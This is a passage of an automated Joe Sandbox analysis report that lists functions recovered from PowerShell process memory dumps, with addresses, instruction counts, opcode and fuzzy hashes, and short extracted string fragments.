Opcode ID: 261bc71ac30136c571cf40ba6176f8738702ba7054dc7eccdae98cf4343a6111
Instruction ID: e513f49216e7ea4d483399f4b43005ec66f7aaf22c9f71711a86e445d3450ea0
Opcode Fuzzy Hash: 261bc71ac30136c571cf40ba6176f8738702ba7054dc7eccdae98cf4343a6111
Instruction Fuzzy Hash: 5BF0E7B6610600AFD7208F0AD984C23FBE9EBD4770319C55AE84A4B652C671FC41CAA0

Function 00C091C7 Relevance: .0, Instructions: 36COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1726394283.0000000000C00000.00000040.00000800.00020000.00000000.sdmp, Offset: 00C00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_c00000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f7240fc823864749747e6e84c706a612db070baf896d18d59d41272b6e687496
Instruction ID: e19e638ad4d2ceed957db803f58eac1c8892eb75ee3542849a6561837029b808
Opcode Fuzzy Hash: f7240fc823864749747e6e84c706a612db070baf896d18d59d41272b6e687496
Instruction Fuzzy Hash: 27F046B2A042088BE300AF28D0593EBB7A6EFC0314F10812EE90547785CE392902CBE1

Function 0070D01C Relevance: .0, Instructions: 36COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1725539539.000000000070D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0070D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_70d000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d00c9e533e031c206dd258ee79531bf1a14accddd3e39b720421356f20718df8
Instruction ID: 34a7b569fe5fc00ae2640e50768167eb2303923e6618f80ce188caf029499b70
Opcode Fuzzy Hash: d00c9e533e031c206dd258ee79531bf1a14accddd3e39b720421356f20718df8
Instruction Fuzzy Hash: C8F06272405344AEE7208A15D9C4B62FFD8EB51734F18C55AED4C4A286C2799C45CAB1

Function 00C07A30 Relevance: .0, Instructions: 33COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1726394283.0000000000C00000.00000040.00000800.00020000.00000000.sdmp, Offset: 00C00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_c00000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0a7296d5036d16ec13b8c14c705d5227a34dd0b16c099bed8b9fcc7531124337
Instruction ID: d9605ac42318a666156e66babee7abaf8781aa9a89c874f61c27cd61f94f1992
Opcode Fuzzy Hash: 0a7296d5036d16ec13b8c14c705d5227a34dd0b16c099bed8b9fcc7531124337
Instruction Fuzzy Hash: CCF0A7717006189FD714AB69D845A6FB7EDEBC9670B00462DF109C3750DF35AD41C794

Function 0070D984 Relevance: .0, Instructions: 33COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1725539539.000000000070D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0070D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_70d000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: add10d7e5d7c2c320df16bc2173d1d73a7837a458fabd38075019f792464c3d9
Instruction ID: 66acde717cd81dec1f85b92ec5adc80ad8721c4d248b224b83779857dc5c2701
Opcode Fuzzy Hash: add10d7e5d7c2c320df16bc2173d1d73a7837a458fabd38075019f792464c3d9
Instruction Fuzzy Hash: 25F0F9B5110640AFD725CF06C984D23BBF9EBD5770B29858DB84A4B752C635FC42CBA0

Function 00C09630 Relevance: .0, Instructions: 32COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1726394283.0000000000C00000.00000040.00000800.00020000.00000000.sdmp, Offset: 00C00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_c00000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c6abcd857a74c43379eed02b67e5041839690c7ff6f05f77a14b82620689b18b
Instruction ID: 977f3b21bd00c6462487c3bb02f483a963622b4b456609f53ff636769a55b8e9
Opcode Fuzzy Hash: c6abcd857a74c43379eed02b67e5041839690c7ff6f05f77a14b82620689b18b
Instruction Fuzzy Hash: B0E0DFA23042552BCAA461B998113F65ADF8DCAAA0B0641A6FAC5CB3C3EC018D07D3F1

Function 00C091D8 Relevance: .0, Instructions: 31COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1726394283.0000000000C00000.00000040.00000800.00020000.00000000.sdmp, Offset: 00C00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_c00000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0b21604654c91913f544521f9d6f215cc1fc13ab3eb55b77cf640b76403efed8
Instruction ID: 907b86f79f9f1e6b22f3fc319fc33c021caf6cb9930d691b0b7c8a43ccdad935
Opcode Fuzzy Hash: 0b21604654c91913f544521f9d6f215cc1fc13ab3eb55b77cf640b76403efed8
Instruction Fuzzy Hash: 70F027F66041089BE304AB78C0197EB77AADFC0314F10826AE5054B3C5CE392906CBE1

Function 00C0775F Relevance: .0, Instructions: 31COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1726394283.0000000000C00000.00000040.00000800.00020000.00000000.sdmp, Offset: 00C00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_c00000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b219d575855039b96bdaff36a8f2aec31b3b69f0c87dc9f4cfba6ca5c423e825
Instruction ID: 757f0fa484ba486c3805d28264072ee93c72bda14120ce68cdf41d3b5b50997c
Opcode Fuzzy Hash: b219d575855039b96bdaff36a8f2aec31b3b69f0c87dc9f4cfba6ca5c423e825
Instruction Fuzzy Hash: 90F0A0B9B005088FCB0497BCD880A9E77E6EBCC3907054254EA19CB394DE24ED028B90

Function 00C0E0E8 Relevance: .0, Instructions: 30COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1726394283.0000000000C00000.00000040.00000800.00020000.00000000.sdmp, Offset: 00C00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_c00000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 17e19fce70d897f0804006a96356babb9e0e0e4f3fe951eda7c585eefc5cc54d
Instruction ID: dd6603dad24bd61018514bf646dcb067c1b4e6cba82ded3c0bafc4f36b1fa0c4
Opcode Fuzzy Hash: 17e19fce70d897f0804006a96356babb9e0e0e4f3fe951eda7c585eefc5cc54d
Instruction Fuzzy Hash: 33E01A397401148FC7109B1DD898C6AB7FAEFCEB2531914AAE649CB761DA71EC11CB90

Function 00C09248 Relevance: .0, Instructions: 29COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1726394283.0000000000C00000.00000040.00000800.00020000.00000000.sdmp, Offset: 00C00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_c00000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0de3f9c6c95236796f05732525d6572b0112fbfe073bdba130da061ab5d7a952
Instruction ID: 6685f2ec7de5f349b52afbaa11ce405d9c7309e0f8f253a1643faf62315e56fc
Opcode Fuzzy Hash: 0de3f9c6c95236796f05732525d6572b0112fbfe073bdba130da061ab5d7a952
Instruction Fuzzy Hash: F4F05EB5A093518FD7609BB8D4993DABBE1EF45310F04446EE55ED7281CB392984CB90

Function 00C08A48 Relevance: .0, Instructions: 28COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1726394283.0000000000C00000.00000040.00000800.00020000.00000000.sdmp, Offset: 00C00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_c00000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6c2579a1f5e5d5a07ae8c28ec404cd1c844fcaecb90f4397fa840bc72c6e5acf
Instruction ID: 346bc71791b05abf94e8604c1c280de94b961abc2e9d4e0d9bcb7412445cd72b
Opcode Fuzzy Hash: 6c2579a1f5e5d5a07ae8c28ec404cd1c844fcaecb90f4397fa840bc72c6e5acf
Instruction Fuzzy Hash: 9AF0E5B17083405BC70A6734D82D3EE7E66ABC5314F05016AEA1987382CF7C081183E6

Function 00C0B078 Relevance: .0, Instructions: 26COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1726394283.0000000000C00000.00000040.00000800.00020000.00000000.sdmp, Offset: 00C00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_c00000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 89dafbc3ea6c9d027d66da2de2323f64caee75a199a7cc87cdcc8013a9d24354
Instruction ID: 8899c6d43699b2a860dbb0259be381e10bddae48e5be890510dcdc1bbe3bd475
Opcode Fuzzy Hash: 89dafbc3ea6c9d027d66da2de2323f64caee75a199a7cc87cdcc8013a9d24354
Instruction Fuzzy Hash: 48E0267270826013C718D16DE8245E77AAB87C2620708C07EF098CB3C6DD129C0283C1

Function 00C09258 Relevance: .0, Instructions: 25COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1726394283.0000000000C00000.00000040.00000800.00020000.00000000.sdmp, Offset: 00C00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_c00000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1eb2dfa19ad99db43f7fc005fc41202a17769be147167530f2eba12e38488e14
Instruction ID: f54296b9f1d10e024e3c1f8879010c092163eeb59a7cf76ba88be88d2e303742
Opcode Fuzzy Hash: 1eb2dfa19ad99db43f7fc005fc41202a17769be147167530f2eba12e38488e14
Instruction Fuzzy Hash: BEF0EDB19013049BD764ABB9D49D79ABBE9FB84310F004529E55ED7280DB396980CB90

Function 00C08A58 Relevance: .0, Instructions: 24COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1726394283.0000000000C00000.00000040.00000800.00020000.00000000.sdmp, Offset: 00C00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_c00000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e93d2ab83dd3512a9745903dcb46d47d2c1143fb6979694a4dc53379caf4a760
Instruction ID: 454c1888335e25fcaaee42e75fcea44f6fbb47d3ccb18dcebe81c7d3b5da5f6a
Opcode Fuzzy Hash: e93d2ab83dd3512a9745903dcb46d47d2c1143fb6979694a4dc53379caf4a760
Instruction Fuzzy Hash: D6E0DF7530431087CB092774E80D3EE7A9AABC4725F00002AE60A83381CF7C090183E9

Function 00C0F6F8 Relevance: .0, Instructions: 23COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1726394283.0000000000C00000.00000040.00000800.00020000.00000000.sdmp, Offset: 00C00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_c00000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 16ee490906f95f0b164fa2201edce2750702463f0bfed14ba7a356b06ceb9004
Instruction ID: 083d25e412d2ee12924e80d9463f73d4d851bb8f71b3aa6bed328fea849109eb
Opcode Fuzzy Hash: 16ee490906f95f0b164fa2201edce2750702463f0bfed14ba7a356b06ceb9004
Instruction Fuzzy Hash: ADE0E5B1E0425A9ECB90DFB884412A9FFF0EF09250B2086AECD08E7241E7324612CBC1

Function 00C09640 Relevance: .0, Instructions: 23COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1726394283.0000000000C00000.00000040.00000800.00020000.00000000.sdmp, Offset: 00C00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_c00000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 706b7507e4d76c208ad777d81f7e67bdf1faf044ba6830a44e75b73bf1f576e9
Instruction ID: 0f17369354eaceef570520fe27ed4e751bb917af44da3db21ff2380bb6a2acd2
Opcode Fuzzy Hash: 706b7507e4d76c208ad777d81f7e67bdf1faf044ba6830a44e75b73bf1f576e9
Instruction Fuzzy Hash: C5D05E6330012A279A9460AE180177B91CFCEC8AA0B054176BA99C32C3EC51CD07D3F5

Function 00C0DF88 Relevance: .0, Instructions: 23COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1726394283.0000000000C00000.00000040.00000800.00020000.00000000.sdmp, Offset: 00C00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_c00000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fd4c8d452a5771c60ee91f320fcc0371df8875e812d4233fbae53c791bb77087
Instruction ID: f559a61bfb94b47b7ef4153f82e3df9da2fd80eb9b50fed491d03a1afa6113eb
Opcode Fuzzy Hash: fd4c8d452a5771c60ee91f320fcc0371df8875e812d4233fbae53c791bb77087
Instruction Fuzzy Hash: 3EE08631B0401497CB08956AD4104D9FBAADBCC324F14847AD90AA7380DA725916D7E1

Function 00C0DF38 Relevance: .0, Instructions: 23COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1726394283.0000000000C00000.00000040.00000800.00020000.00000000.sdmp, Offset: 00C00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_c00000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 84d81b25308bf1b117a543c1b8891c2fb2c88d77ac562d59447e2b2c0615303e
Instruction ID: 645f154a7871403fb436615f40a71e1b1d00e2c93a8e230366278752cd290640
Opcode Fuzzy Hash: 84d81b25308bf1b117a543c1b8891c2fb2c88d77ac562d59447e2b2c0615303e
Instruction Fuzzy Hash: AEE08C31700615A7C615A6AEA81089F76DADAC4761310852EE02EC7380DE689D0187E5

Function 00C08818 Relevance: .0, Instructions: 20COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1726394283.0000000000C00000.00000040.00000800.00020000.00000000.sdmp, Offset: 00C00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_c00000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 25280521e64c3504c2bb5b5660de78c785524887ba8e1f709229b76bec8f6f0c
Instruction ID: 31713229d7488e2b78c43adbf6b8149b348502cba16b11f6b0767ab8d2c8190a
Opcode Fuzzy Hash: 25280521e64c3504c2bb5b5660de78c785524887ba8e1f709229b76bec8f6f0c
Instruction Fuzzy Hash: 36E04FB58092099BCB08EB60E4165EE7B34F610301B40455EDA8693280DE39164ACFD1

Function 00C088E0 Relevance: .0, Instructions: 19COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1726394283.0000000000C00000.00000040.00000800.00020000.00000000.sdmp, Offset: 00C00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_c00000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 76685346b70c53d337b115fb7ae69781347db9c1a54858e79fd64cfd1a3c9a67
Instruction ID: 1e5eb4137d2f00f8db010d861bf032b06de88d9685226df81f6cfdf05f56453f
Opcode Fuzzy Hash: 76685346b70c53d337b115fb7ae69781347db9c1a54858e79fd64cfd1a3c9a67
Instruction Fuzzy Hash: 44E08675E052878BC718EFB4D4466EE7FF2AB85205F004159D98597740DA351842DF80

Function 00C0F708 Relevance: .0, Instructions: 16COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1726394283.0000000000C00000.00000040.00000800.00020000.00000000.sdmp, Offset: 00C00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_c00000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a0679d7c354d51605d8bd13a266064c3acceb09603bccb70a5f4b130bfb080f8
Instruction ID: 80e5a7b700f1959b85edb3066dc615af39ecfc0da44ff861ceb52f0d41a53282
Opcode Fuzzy Hash: a0679d7c354d51605d8bd13a266064c3acceb09603bccb70a5f4b130bfb080f8
Instruction Fuzzy Hash: F5D042B4D042099F8790EFAD894156EFBF4AB48200B6085AA8919E7251E6329A528BD1

Function 00C088F0 Relevance: .0, Instructions: 15COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1726394283.0000000000C00000.00000040.00000800.00020000.00000000.sdmp, Offset: 00C00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_c00000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: dc9244ca28ebc070aaffee57aa328e8b2b007d29129d58dc2087b3ce776761d3
Instruction ID: d9a4e8e8bfb0e1bd3cb0279a1af7dbc69f5253d00b268da46b3a50048c24c551
Opcode Fuzzy Hash: dc9244ca28ebc070aaffee57aa328e8b2b007d29129d58dc2087b3ce776761d3
Instruction Fuzzy Hash: D4D012749042498BC708EFA4D4465AEBBB4AB44300F004155D94593340DA305845CFC1

Function 00C08828 Relevance: .0, Instructions: 15COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1726394283.0000000000C00000.00000040.00000800.00020000.00000000.sdmp, Offset: 00C00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_c00000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0ca82b5ad02590091cbf06dc4574eded0f10b9743f73b41284ee321044f8a91e
Instruction ID: e2ff3deaa9665844e598b82409b29b540f484bf8291d15af12a562d83985b624
Opcode Fuzzy Hash: 0ca82b5ad02590091cbf06dc4574eded0f10b9743f73b41284ee321044f8a91e
Instruction Fuzzy Hash: 82D067758052098BCB08ABA5E85B5FEBB34FA54305F404169D907531D0EE361A5ACEC1

Function 00C07F70 Relevance: .0, Instructions: 14COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1726394283.0000000000C00000.00000040.00000800.00020000.00000000.sdmp, Offset: 00C00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_c00000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 03a8575814de8c5545c833163c3e27dc3d9abaad471bc68a8d012acc10f0efec
Instruction ID: 639f5e3efb7344d9bc6f710ac0534952b12c8d84f7b532131b70a3896fcfc94f
Opcode Fuzzy Hash: 03a8575814de8c5545c833163c3e27dc3d9abaad471bc68a8d012acc10f0efec
Instruction Fuzzy Hash: 6FC08C3630E3C18FDF0B8B334920397BF32BE4335232580D3C502C29A2DA224210C340

Function 00C079F8 Relevance: .0, Instructions: 13COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1726394283.0000000000C00000.00000040.00000800.00020000.00000000.sdmp, Offset: 00C00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_c00000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ada35e7c83b5b84bbaab6869cb4a791818f2e953ff133e0e6ea5245b529bf25d
Instruction ID: 0d530e3d90ef8b146af902cd23b5a56aadd35c8a6a54aada13a05edcd7f82de9
Opcode Fuzzy Hash: ada35e7c83b5b84bbaab6869cb4a791818f2e953ff133e0e6ea5245b529bf25d
Instruction Fuzzy Hash: 2DD0123504434DCBD2586F71E535674B379AF80304B510496F50E1AFA68E6BAC81CE89

Function 00C07A08 Relevance: .0, Instructions: 8COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1726394283.0000000000C00000.00000040.00000800.00020000.00000000.sdmp, Offset: 00C00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_c00000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3ec6c7c5ff1990658222cf385c4c7d0108d070fa7e2e535a83790b23e88dd0b9
Instruction ID: fddfdb20303ef076c1b4775c137614f3834da2817a1d1788e84caa38b042e386
Opcode Fuzzy Hash: 3ec6c7c5ff1990658222cf385c4c7d0108d070fa7e2e535a83790b23e88dd0b9
Instruction Fuzzy Hash: F5B0923014430C8FC2486F75E615924736DAA8160939004A8E60E4B3A68E7AE840CA44

Non-executed Functions

Function 06F51080 Relevance: 18.0, Strings: 14, Instructions: 485COMMON

Download Yara Rule

Strings

tPfq, xrefs: 06F511EF
`Qfq, xrefs: 06F5125B
$fq, xrefs: 06F5132B
$fq, xrefs: 06F5131B
$fq, xrefs: 06F51149
fkq, xrefs: 06F5116A
$fq, xrefs: 06F5112D
`Qfq, xrefs: 06F5121B
$fq, xrefs: 06F512F1
`Qfq, xrefs: 06F51227
tPfq, xrefs: 06F511FB
$fq, xrefs: 06F51301
`Qfq, xrefs: 06F511B5
$fq, xrefs: 06F5110C

Memory Dump Source

Source File: 00000001.00000002.1735195011.0000000006F50000.00000040.00000800.00020000.00000000.sdmp, Offset: 06F50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6f50000_powershell.jbxd

Similarity

API ID:
String ID: fkq$`Qfq$`Qfq$`Qfq$`Qfq$tPfq$tPfq$$fq$$fq$$fq$$fq$$fq$$fq$$fq
API String ID: 0-897512475
Opcode ID: 39b94191e50b5aaf79681b24772df6099d6f5e9c1ebe40a555d61fc3b7c8c6aa
Instruction ID: 0215374d535c43cf085c154b580602162c24d65c283bf01f99f60a20020765a4
Opcode Fuzzy Hash: 39b94191e50b5aaf79681b24772df6099d6f5e9c1ebe40a555d61fc3b7c8c6aa
Instruction Fuzzy Hash: A7F1E731F00209DFDB55DFA8C4457AB7BE6AF85315F16846AEE018B691CB31EC81CBA1

Function 06F52CA8 Relevance: 11.6, Strings: 9, Instructions: 381COMMON

Download Yara Rule

Strings

4'fq, xrefs: 06F52EEE
$fq, xrefs: 06F52CE0
tPfq, xrefs: 06F52D31
$fq, xrefs: 06F52CBA
$fq, xrefs: 06F52CEC
tPfq, xrefs: 06F53068
tPfq, xrefs: 06F5305C
tPfq, xrefs: 06F52D25
4'fq, xrefs: 06F52EF8

Memory Dump Source

Source File: 00000001.00000002.1735195011.0000000006F50000.00000040.00000800.00020000.00000000.sdmp, Offset: 06F50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6f50000_powershell.jbxd

Similarity

API ID:
String ID: 4'fq$4'fq$tPfq$tPfq$tPfq$tPfq$$fq$$fq$$fq
API String ID: 0-534720917
Opcode ID: 3ebf5c72d8aba7d98ed87042154a4c2121ae56153558bfe129e02b966b2c3141
Instruction ID: 34090b4ed079c03601b73dde5cc538806a3572b4d97a4cf012c92c299a0d216f
Opcode Fuzzy Hash: 3ebf5c72d8aba7d98ed87042154a4c2121ae56153558bfe129e02b966b2c3141
Instruction Fuzzy Hash: C7C15932F043059FDBA48BBC880176BBBE6AF85750F15826ADA45CB291DB31DD41C7A1

Function 06F51067 Relevance: 11.4, Strings: 9, Instructions: 197COMMON

Download Yara Rule

Strings

tPfq, xrefs: 06F511EF
$fq, xrefs: 06F51149
$fq, xrefs: 06F5112D
fkq, xrefs: 06F5116A
`Qfq, xrefs: 06F5121B
$fq, xrefs: 06F512F1
`Qfq, xrefs: 06F511B5
$fq, xrefs: 06F5131B
$fq, xrefs: 06F5110C

Memory Dump Source

Source File: 00000001.00000002.1735195011.0000000006F50000.00000040.00000800.00020000.00000000.sdmp, Offset: 06F50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6f50000_powershell.jbxd

Similarity

API ID:
String ID: fkq$`Qfq$`Qfq$tPfq$$fq$$fq$$fq$$fq$$fq
API String ID: 0-59738900
Opcode ID: c743cae3b284da1ecbe8c40247747cd99543d85f5729abee2b6f1db2f3c450e4
Instruction ID: 8fd08e3bcf2ed06d6c2f6dc3778953f0be1fbef62c3e5bb30f300da768b9e950
Opcode Fuzzy Hash: c743cae3b284da1ecbe8c40247747cd99543d85f5729abee2b6f1db2f3c450e4
Instruction Fuzzy Hash: 1871BF31E00208DFEB64CE44C585BAABBF6AF45345F0A8196EE019B691C735FD85CBA1

Function 06F53928 Relevance: 9.0, Strings: 7, Instructions: 236COMMON

Download Yara Rule

Strings

tPfq, xrefs: 06F539B1
$fq, xrefs: 06F5396C
$fq, xrefs: 06F5393A
$fq, xrefs: 06F53960
4'fq, xrefs: 06F53B29
4'fq, xrefs: 06F53B35
tPfq, xrefs: 06F539A5

Memory Dump Source

Source File: 00000001.00000002.1735195011.0000000006F50000.00000040.00000800.00020000.00000000.sdmp, Offset: 06F50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6f50000_powershell.jbxd

Similarity

API ID:
String ID: 4'fq$4'fq$tPfq$tPfq$$fq$$fq$$fq
API String ID: 0-332123906
Opcode ID: 4d6984b60147bc0bff23024a8cb8342c88d44bb3d18d79bfb937fec68ca683b4
Instruction ID: fe8f6c57789d8e5332933ec22035977a8ddc86d812ff62fd5aa7a2ed1912e17a
Opcode Fuzzy Hash: 4d6984b60147bc0bff23024a8cb8342c88d44bb3d18d79bfb937fec68ca683b4
Instruction Fuzzy Hash: 81716737F042149FCB549BACC40176BBBE6AFC56A0F16806ADA05CB291EF31DC41C7A2

Function 06F55BF8 Relevance: 7.9, Strings: 6, Instructions: 393COMMON

Download Yara Rule

Strings

4'fq, xrefs: 06F5605D
4'fq, xrefs: 06F55EFE
4'fq, xrefs: 06F56069
4'fq, xrefs: 06F55D2D
4'fq, xrefs: 06F55D37
4'fq, xrefs: 06F55F08

Memory Dump Source

Source File: 00000001.00000002.1735195011.0000000006F50000.00000040.00000800.00020000.00000000.sdmp, Offset: 06F50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6f50000_powershell.jbxd

Similarity

API ID:
String ID: 4'fq$4'fq$4'fq$4'fq$4'fq$4'fq
API String ID: 0-1373546133
Opcode ID: 20f79c930b05c4074156af07d5ad33c88db71a8549c0770c53c3334e22b031f7
Instruction ID: 5ab3f4797982e2923707936d4ead6a6429dd61f691807338f96e1bd38af6079c
Opcode Fuzzy Hash: 20f79c930b05c4074156af07d5ad33c88db71a8549c0770c53c3334e22b031f7
Instruction Fuzzy Hash: 51D11632F042158FCB949BB8844566ABBE2AFC5210F16847BDB05CB651DF32CD81C7E2

Function 06F53678 Relevance: 6.4, Strings: 5, Instructions: 191COMMON

Download Yara Rule

Strings

$fq, xrefs: 06F53836
$fq, xrefs: 06F5382A
4'fq, xrefs: 06F53722
$fq, xrefs: 06F537FF
4'fq, xrefs: 06F5372E

Memory Dump Source

Source File: 00000001.00000002.1735195011.0000000006F50000.00000040.00000800.00020000.00000000.sdmp, Offset: 06F50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6f50000_powershell.jbxd

Similarity

API ID:
String ID: 4'fq$4'fq$$fq$$fq$$fq
API String ID: 0-3759051638
Opcode ID: 19e68214a0e05984c31370e02cb1b078805e105f5b373146b1791fd9299a8f02
Instruction ID: a9715c71a321aa059955dbad9805fe26c1be50ecfd2f301c014390582b272e33
Opcode Fuzzy Hash: 19e68214a0e05984c31370e02cb1b078805e105f5b373146b1791fd9299a8f02
Instruction Fuzzy Hash: 64514873F08345DFDB654AAD9800767BBA6AFC5291F16807BDA45CB241EB31CC41C7A2

Function 00C07AE8 Relevance: 5.2, Strings: 4, Instructions: 245COMMON

Download Yara Rule

Strings

`gq, xrefs: 00C07D8A
`gq, xrefs: 00C07BEB
`gq, xrefs: 00C07C6A
`gq, xrefs: 00C07D0C

Memory Dump Source

Source File: 00000001.00000002.1726394283.0000000000C00000.00000040.00000800.00020000.00000000.sdmp, Offset: 00C00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_c00000_powershell.jbxd

Similarity

API ID:
String ID: `gq$`gq$`gq$`gq
API String ID: 0-3352594996
Opcode ID: 39f12bf5d966ae63b8855b364cfa15c671a03b4a7d8dd283893d2aa30a85c219
Instruction ID: fa83bcfb08146bc09cffb1b94d0f59e38e6ae88b00c49bd7bd3b0171cf90bd7a
Opcode Fuzzy Hash: 39f12bf5d966ae63b8855b364cfa15c671a03b4a7d8dd283893d2aa30a85c219
Instruction Fuzzy Hash: B1B183B4E012099FCB55DFA9D990A9DFBF2FF48300F10862AE419AB355DB34A945CF90

Function 06F51D80 Relevance: 5.2, Strings: 4, Instructions: 242COMMON

Download Yara Rule

Strings

tPfq, xrefs: 06F51FDF
4'fq, xrefs: 06F51F95
4'fq, xrefs: 06F51F89
tPfq, xrefs: 06F51FEB

Memory Dump Source

Source File: 00000001.00000002.1735195011.0000000006F50000.00000040.00000800.00020000.00000000.sdmp, Offset: 06F50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6f50000_powershell.jbxd

Similarity

API ID:
String ID: 4'fq$4'fq$tPfq$tPfq
API String ID: 0-2816350295
Opcode ID: ccb659b8f3e3bf5af3470a5c47f1fedc9ae61ef42bc604e7dbb818236bdc5f27
Instruction ID: 0bc249b5ed5fbf8aaa91ff662315773801a2bd0d2a39d614e6fb169ef95c3df8
Opcode Fuzzy Hash: ccb659b8f3e3bf5af3470a5c47f1fedc9ae61ef42bc604e7dbb818236bdc5f27
Instruction Fuzzy Hash: FC813532F002059FDB64DBA9845076BFBE6AFC5310F1A816BDE058B642CB31ED42C7A1

Function 00C07AF8 Relevance: 5.2, Strings: 4, Instructions: 234COMMON

Download Yara Rule

Strings

`gq, xrefs: 00C07D8A
`gq, xrefs: 00C07BEB
`gq, xrefs: 00C07C6A
`gq, xrefs: 00C07D0C

Memory Dump Source

Source File: 00000001.00000002.1726394283.0000000000C00000.00000040.00000800.00020000.00000000.sdmp, Offset: 00C00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_c00000_powershell.jbxd

Similarity

API ID:
String ID: `gq$`gq$`gq$`gq
